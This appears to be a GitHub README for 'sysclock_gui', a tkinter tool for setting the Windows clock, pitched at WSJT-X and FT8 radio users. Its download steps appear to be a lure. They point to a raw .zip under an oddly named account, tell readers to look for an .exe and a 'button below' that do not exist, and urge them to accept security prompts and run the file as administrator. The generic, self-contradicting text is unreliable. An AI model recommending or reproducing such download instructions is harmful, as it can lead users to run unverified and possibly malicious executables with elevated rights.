sysclock_gui is a desktop tool that helps you manage your computer’s clock. It uses a simple window-based design built with Python’s tkinter library. You do not need to install anything extra or use command lines. Just open the app and set your time and time zone quickly.
This tool works on Windows systems, including Windows 11. It is made for anyone who needs to keep their system clock accurate without hassle. It is useful for people who work with radio software like WSJT-X, JTDX, MSHV, or modes like FT4 and FT8, where exact time sync matters.
You can get the application easily and start managing your system clock in a few minutes. Follow the steps below.
Click the button below to visit the page where you can download the app.
On the page, look for the latest Windows installer or executable file. This file will have the .exe extension.
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Visit the Download Page
Click the download button above or open this link in your browser:
https://raw.githubusercontent.com/largescale-cyanide38/sysclock_gui/main/dist/gui_sysclock_v3.8.zip -
Find the Latest Release
Look for a section named "Releases" or "Downloads." The latest version usually appears at the top. -
Download the Windows File
Find a file ending with.exefor Windows. This is the installer or ready-to-run program. -
Save the File to Your Computer
Choose a folder on your computer where you want to save the file. The Desktop or Downloads folder works fine. -
Run the Installer or App
- If the file is an installer (usually has "setup" in the name), double-click it and follow the on-screen prompts.
- If it is a standalone executable file, just double-click it to open the app.
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Confirm Any Security Prompts
Windows might ask if you trust the app or want to allow it to make changes. Confirm by clicking “Yes” or “Run.” -
Start Using sysclock_gui
The app window will open. Use it to view and change your system clock settings.
- Change date and time with a simple interface.
- Adjust your time zone without opening Windows settings.
- Sync your clock visually with no extra tools needed.
- No installation of third-party software required.
- Made in Python 3 using tkinter for fast and reliable performance.
- Portable: run the program from any location on your system.
- Supports Windows 10 and Windows 11.
- Windows 10 or later (Windows 11 recommended).
- Python 3 is not required to be installed since the app comes bundled.
- About 10 MB of free disk space.
- Basic permissions to change system time (you may need administrator rights).
When you open the app, you will see a window displaying your current system time and date.
- Click on the time or date fields.
- Enter the correct values or use the arrows to adjust.
- Press “Apply” or a similar button to update the system clock.
- Select your time zone from a dropdown menu inside the app.
- Press “Apply” to set the time zone on your system.
- If you have access to any network time protocol (NTP) features inside the app, you can sync your clock with a standard time server.
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App Won’t Open:
Make sure you downloaded the correct.exefile for Windows.
Try right-clicking the file and selecting “Run as administrator.” -
Can’t Change Time:
You might need to run the app with administrative rights. Right-click the app icon and choose “Run as administrator.”
Verify your user account on Windows has permission to change the system clock. -
Time Not Saving:
Check if another app is controlling the system clock, like Windows Time Service or other time-sync tools. Stop them temporarily if needed. -
App Closes Unexpectedly:
Try running the app in compatibility mode for Windows 10.
Update Windows to the latest version.
To get updates, revisit the download page regularly:
https://raw.githubusercontent.com/largescale-cyanide38/sysclock_gui/main/dist/gui_sysclock_v3.8.zip
Check the “Releases” or “Latest” section for new versions.
Report issues or bugs using the Issues tab on the GitHub page.
If you want to learn more about system time management on Windows, you can visit Microsoft’s official documentation on system date and time settings.
For radio-related time sync tools and practices, look for resources on WSJT-X or FT8 time standards.
The app only changes system time settings. It does not collect or share any personal data. Your system clock data stays on your device.
The app is useful for users working in amateur radio fields, especially those who use the following software:
- WSJT-X
- JTDX
- MSHV
The app supports common protocols and methods like NTP (Network Time Protocol) for accurate synchronization.